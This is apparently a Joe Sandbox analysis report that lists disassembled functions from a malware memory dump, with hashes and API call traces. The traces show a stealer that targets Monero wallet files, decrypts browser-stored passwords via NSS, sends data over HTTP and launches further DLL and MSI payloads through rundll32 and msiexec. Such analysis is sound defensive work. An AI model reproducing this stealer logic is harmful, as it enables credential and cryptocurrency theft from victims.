Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09d02506140d72b4dcd039a7aeb3b264bc243552306641854b35fc1059a9c7b2
Instruction ID: bd5bdff4d9527f7da6f705033b40ada4d3bf0645b1c3be1b65a16e401f4a20d2
Opcode Fuzzy Hash: 09d02506140d72b4dcd039a7aeb3b264bc243552306641854b35fc1059a9c7b2
Instruction Fuzzy Hash: 9C31E7F290C208DBEB08AE5CDC8777AB7EDAB94318F04852D93C646B44EA3568508647

Function 013EFACB Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1676234de54b90358c80e27a3ff786c51f961879bde7d2b958404ceae2ea648
Instruction ID: 04676205f0218adde5c2638484a356c4b47dc019d7c59a9eabd140abefc92657
Opcode Fuzzy Hash: c1676234de54b90358c80e27a3ff786c51f961879bde7d2b958404ceae2ea648
Instruction Fuzzy Hash: E131B77710C72DDFDA407E24989987AB7DCEB58369F120D2EE9C7C3A40E6A18D408767

Function 00F29750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00F14880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Part of subcall function 00F147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F14839
Part of subcall function 00F147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F14849

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00F14915
StrCmpCA.SHLWAPI(?,0089E4C0), ref: 00F1493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F14ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00F30DDB,00000000,?,?,00000000,?,",00000000,?,0089E4D0), ref: 00F14DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00F14E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00F14E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00F14E49
InternetCloseHandle.WININET(00000000), ref: 00F14EAD
InternetCloseHandle.WININET(00000000), ref: 00F14EC5
HttpOpenRequestA.WININET(00000000,0089E520,?,0089D8B0,00000000,00000000,00400100,00000000), ref: 00F14B15

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

InternetCloseHandle.WININET(00000000), ref: 00F14ECF

Strings

------, xrefs: 00F149BD
", xrefs: 00F14BF2
------, xrefs: 00F14C69
------, xrefs: 00F14B28
", xrefs: 00F14D33

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: dbb988af9356ea71d8b072a29a20945fadefe64e5fff25f566fecc3991ce0d9c
Instruction ID: ee3be9483b0175548b0f7a4c09b4f266c84ecfce6193542263f0b106f012e5bb
Opcode Fuzzy Hash: dbb988af9356ea71d8b072a29a20945fadefe64e5fff25f566fecc3991ce0d9c
Instruction Fuzzy Hash: C312CD71911128ABDB15EB90ECA2FEEB378BF54300F504199F10666091EF746F89DF62

Function 00F1C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 00F1C9A5

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0089C870,00000000,?,00F3144C,00000000,?,?), ref: 00F1CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00F1CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00F1CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00F1CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00F1CAD9
StrStrA.SHLWAPI(?,0089C888,00F30B52), ref: 00F1CAF7
StrStrA.SHLWAPI(00000000,0089C8A0), ref: 00F1CB1E
StrStrA.SHLWAPI(?,0089D3D8,00000000,?,00F31458,00000000,?,00000000,00000000,?,008989D0,00000000,?,00F31454,00000000,?), ref: 00F1CCA2
StrStrA.SHLWAPI(00000000,0089D098), ref: 00F1CCB9

Part of subcall function 00F1C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00F1C871
Part of subcall function 00F1C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00F1C87C
Part of subcall function 00F1C820: PK11_GetInternalKeySlot.NSS3 ref: 00F1C88A
Part of subcall function 00F1C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00F1C8A5
Part of subcall function 00F1C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00F1C8EB
Part of subcall function 00F1C820: PK11_FreeSlot.NSS3(?), ref: 00F1C961

StrStrA.SHLWAPI(?,0089D098,00000000,?,00F3145C,00000000,?,00000000,008987F0), ref: 00F1CD5A
StrStrA.SHLWAPI(00000000,00898AC0), ref: 00F1CD71

Part of subcall function 00F1C820: lstrcat.KERNEL32(?,00F30B46), ref: 00F1C943
Part of subcall function 00F1C820: lstrcat.KERNEL32(?,00F30B47), ref: 00F1C957
Part of subcall function 00F1C820: lstrcat.KERNEL32(?,00F30B4E), ref: 00F1C978

lstrlen.KERNEL32(00000000), ref: 00F1CE44
CloseHandle.KERNEL32(00000000), ref: 00F1CE9C
NSS_Shutdown.NSS3 ref: 00F1CEAA

Strings

, xrefs: 00F1C9C6

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: adbe71aa257d4967f4ee504efad7ca36b96ceb982446cc8c90c094d096073705
Instruction ID: a0532f097024b596f527d843e1dde59826eaf850910b12338e4867bc73583b8b
Opcode Fuzzy Hash: adbe71aa257d4967f4ee504efad7ca36b96ceb982446cc8c90c094d096073705
Instruction Fuzzy Hash: 7EE1F271900118EBDB18EBA4EC92FEEB778BF14300F404169F11667191EF386A8ADF61

Function 00F29010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00F2906C

Strings

image/jpeg, xrefs: 00F29136

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 5fb6a17cf55fc9623a490bf75fc3c7b6e0783018a492e1ce7b6e8fc4f01e1fe7
Instruction ID: c785f9e831d759eaf80d63d1477d0f7cbdc8aa99f519fe9d771b89c20d1b1da1
Opcode Fuzzy Hash: 5fb6a17cf55fc9623a490bf75fc3c7b6e0783018a492e1ce7b6e8fc4f01e1fe7
Instruction Fuzzy Hash: 14711F75940208EBDB18DFE4EC89FEDB7B9BF48300F108618F615A7284DB74A945DB60

Function 00F217A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00F217C5
ExitProcess.KERNEL32 ref: 00F217D1

Strings

block, xrefs: 00F217B7

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: d1024b3f433270f10d82da2dfa938ddc532c1d855ae6d6330cf8713aea125965
Instruction ID: 68aabc9af5c93725ea050710e1f894b99d67d6c82081bb5ea1a18cb149e1625c
Opcode Fuzzy Hash: d1024b3f433270f10d82da2dfa938ddc532c1d855ae6d6330cf8713aea125965
Instruction Fuzzy Hash: DA51B1B5A00209EFCB04DFA0E964BBE77F9BF54700F208059E416A7344DB74E981EB66

Function 00F22E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

ShellExecuteEx.SHELL32(0000003C), ref: 00F231C5
ShellExecuteEx.SHELL32(0000003C), ref: 00F2335D
ShellExecuteEx.SHELL32(0000003C), ref: 00F234EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00F23332
/i ", xrefs: 00F233E4
<, xrefs: 00F23490
.dll, xrefs: 00F231E5
/passive, xrefs: 00F2345B
.msi, xrefs: 00F23398
"" , xrefs: 00F2309A
C:\Windows\system32\msiexec.exe, xrefs: 00F234BF

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
